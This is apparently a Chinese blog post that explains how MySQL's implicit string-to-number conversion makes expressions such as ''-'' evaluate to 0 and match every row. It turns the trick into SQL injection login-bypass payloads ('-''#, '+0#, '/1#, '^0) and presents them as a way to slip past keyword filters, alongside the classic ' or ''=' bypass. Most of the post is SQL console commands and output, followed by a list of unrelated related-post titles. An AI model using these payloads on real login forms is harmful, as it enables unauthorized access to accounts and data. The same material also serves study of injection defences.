我们先来看这样一个场景。

有以下表结构:

mysql> desc admin;

+----------+--------------+------+-----+---------+----------------+

| Field | Type | Null | Key | Default | Extra |

+----------+--------------+------+-----+---------+----------------+

| id | mediumint(9) | NO | PRI | NULL | auto_increment |

| name | char(32) | NO | UNI | NULL | |

| password | char(32) | NO | UNI | NULL | |

+----------+--------------+------+-----+---------+----------------+

3 rows in set (0.00 sec)

执行select * from admin;,成功返回所有记录内容。

+----+--------+----------------------------------+

| id | name | password |

+----+--------+----------------------------------+

| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |

| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |

| 4 | n00b | ff80e8508d39047460921792273533a4 |

+----+--------+----------------------------------+

3 rows in set (0.00 sec)

执行select * from admin where name='';,没有匹配到任何记录。

mysql> select * from admin where name = '';

Empty set (0.00 sec)

那么我们来执行select * from admin where name = ''-'';

+----+--------+----------------------------------+

| id | name | password |

+----+--------+----------------------------------+

| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |

| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |

| 4 | n00b | ff80e8508d39047460921792273533a4 |

+----+--------+----------------------------------+

3 rows in set, 3 warnings (0.00 sec)

可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:

mysql> show warnings;

+---------+------+------------------------------------------

| Level | Code | Message

+---------+------+------------------------------------------

| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin

| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s

| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b

+---------+------+------------------------------------------

3 rows in set (0.00 sec)

提示截断了错误的DOUBLE值'admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ''-'';看下结果。

mysql> select ''-'';

+-------+

| ''-'' |

+-------+

| 0 |

+-------+

1 row in set (0.00 sec)

返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:

mysql> select CAST((select name from admin limit 1,1) as DECIMAL);

+-----------------------------------------------------+

| CAST((select name from admin limit 1,1) as DECIMAL) |

+-----------------------------------------------------+

| 0 |

+-----------------------------------------------------+

1 row in set, 1 warning (0.00 sec)

因此where语句构成了相等的条件,where 0=''='',记录被返回。

如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为' or ''=' 这样的逻辑和绕过方式很常见,这里不再具体解释了。

那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。

仅仅在name子段输入'-''#,password留空,即可绕过登录验证。

除了''-'',其他运算符''+'',''*'',''^''都会有同样的效果。再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可

mysql> select ''/1;

+------+

| ''/1 |

+------+

| 0 |

+------+

1 row in set (0.00 sec)

类似的''+0,''-0,''*0,''^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: '+0#,'/1#,'^0,'-0#等等。

利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。

mysql 字符串运算_使用MySQL字符串运算实施精巧化SQL注入攻击相关推荐

  1. java filter注入_如何使用Filter过滤请求中的SQL注入攻击

    在doFilter方法中编写判断逻辑 public void doFilter(ServletRequest request, ServletResponse response, FilterChai ...

  2. mysql prepare 注入_实战1:如何用 PREPARE 防止 SQL 注入

    实战1:如何用 PREPARE 防止 SQL 注入 1. 前言 在前面的小节中,我们一起学习了 SQL Prepare,本小节以实战的角度来继续深挖 Prepare,如果你还不了解 Prepare,请 ...

  3. mysql注入攻击实_三十三、MySQL基础系列笔记之MySQL安全问题与SQL注入攻击

    SQL注入攻击大多数与程序有关系,程序不严谨是导致SQL注入攻击成功的一个原因.安全问题不容忽视,平常的开发中应关注安全问题.下面简单记录PHP中的SQL攻击问题. 什么是SQL注入攻击 SQL注入( ...

  4. MySQL学习笔记_关于MySQL的字符类型VARCHAR长度知识总结

    MySQL学习笔记_关于MySQL的字符类型VARCHAR长度知识总结 一.VARCHAR存储和行长度限制 1.VARCHAR(N)中,N指的是字符的长度,VARCHAR类型最大支持65535,指的是 ...

  5. mysql注入带外通道攻击_防止SQL注入攻击的方法

    防止SQL注入攻击的方法 发布时间:2020-08-25 14:18:13 来源:亿速云 阅读:78 作者:小新 小编给大家分享一下防止SQL注入攻击的方法,相信大部分人都还不怎么了解,因此分享这篇文 ...

  6. python mysql倒序_day40:MySQL:python操作mysql:pymysql模块SQL注入攻击

    目录 part1:用python连接mysql 1.用python连接mysql的基本语法 创建连接conn→创建游标对象cursor→执行sql语句execute→获取数据fetchone→释放游标 ...

  7. [Mysql] 防御和检查SQL注入攻击的手段

    SQL注入攻击的种类 知彼知己,方可取胜.首先要清楚SQL注入攻击有哪些种类. 1.没有正确过滤转义字符 在用户的输入没有为转义字符过滤时,就会发生这种形式的注入式攻击,它会被传递给一个SQL语句.这 ...

  8. C# 检查字符串,防SQL注入攻击(转载)

    这些天,CSDN上讨论SQL注入攻击似乎是如火如荼啊...我也来参合一下..如下,CheckParams函数,接收参数任意,如参数中有字符串,则对字符串进行检查,如参数中有集合(如Array之类,总之 ...

  9. PHP+MySQL 网站 SQL 注入攻击测试用例

    SQL注入攻击测试用例 说明 Night Night' and 1=1# Night' and 1=2# 判断注入点.第一次是正常请求,如果存在注入漏洞,那么第二次请求得到结果应该与第一次一样,并且第 ...

最新文章

  1. 基于mysql传统复制模式转为GTID模式 mysql 5.7版本
  2. 北京尚学堂|程序员励志名言
  3. 关于word和excel相关的问题---亲测有用
  4. 如何处理resource not found for the segment XXXXX error message
  5. 一文搞懂JVM架构:入职3个月的Java程序员面临转正
  6. android接口类命名规范_超全面的UI基础设计规范来啦,还不收藏 ~
  7. 华为EMUI 10系统内测截图曝光:基于Android 10.0
  8. 文本生成系列之预训练模型
  9. lvgl 笔记(3)-中文字库的制作和使用(windows模拟和esp32)
  10. Excel如何实现随机分组
  11. 06MyBatis Plus
  12. 计算机突然找不到u盘了,win10系统u盘文件突然不见了怎么恢复
  13. 数据分析五、Apriori 算法之关联分析
  14. java类加载机制?双亲委派模型有可能被破坏吗
  15. Usability: Rules and Principle
  16. Banner是什么意思,网站banner设计与广告怎么做?
  17. 火影抽卡模拟器1.0.5
  18. 从QQ音乐开发,探讨如何利用腾讯云SDK在直播中加入视频动画
  19. 成功恢复adobe后缀勒索病毒 sql文件中了后缀adobe勒索病毒恢复
  20. python工程师年薪多少万_Python工程师工资待遇一般是多少

热门文章

  1. Unity3D笔记 愤怒的小鸟四 实现Selelction界面
  2. Unity Animation需要Inspector右键打开Debug模式,然后勾选Legacy,最后再Inspector右键打开Normal...
  3. 2016北京集训测试赛(十三) Problem B: 网络战争
  4. 昆特牌Online——客户端用到的一些技术
  5. TeeChart的坐标轴
  6. 深蓝词库转换1.6发布
  7. SPQuery如何消除重复记录(实现联动性)
  8. [转载] numpy总结
  9. [转载] python---python中时间的应用(time模块)
  10. 【7.1】property动态属性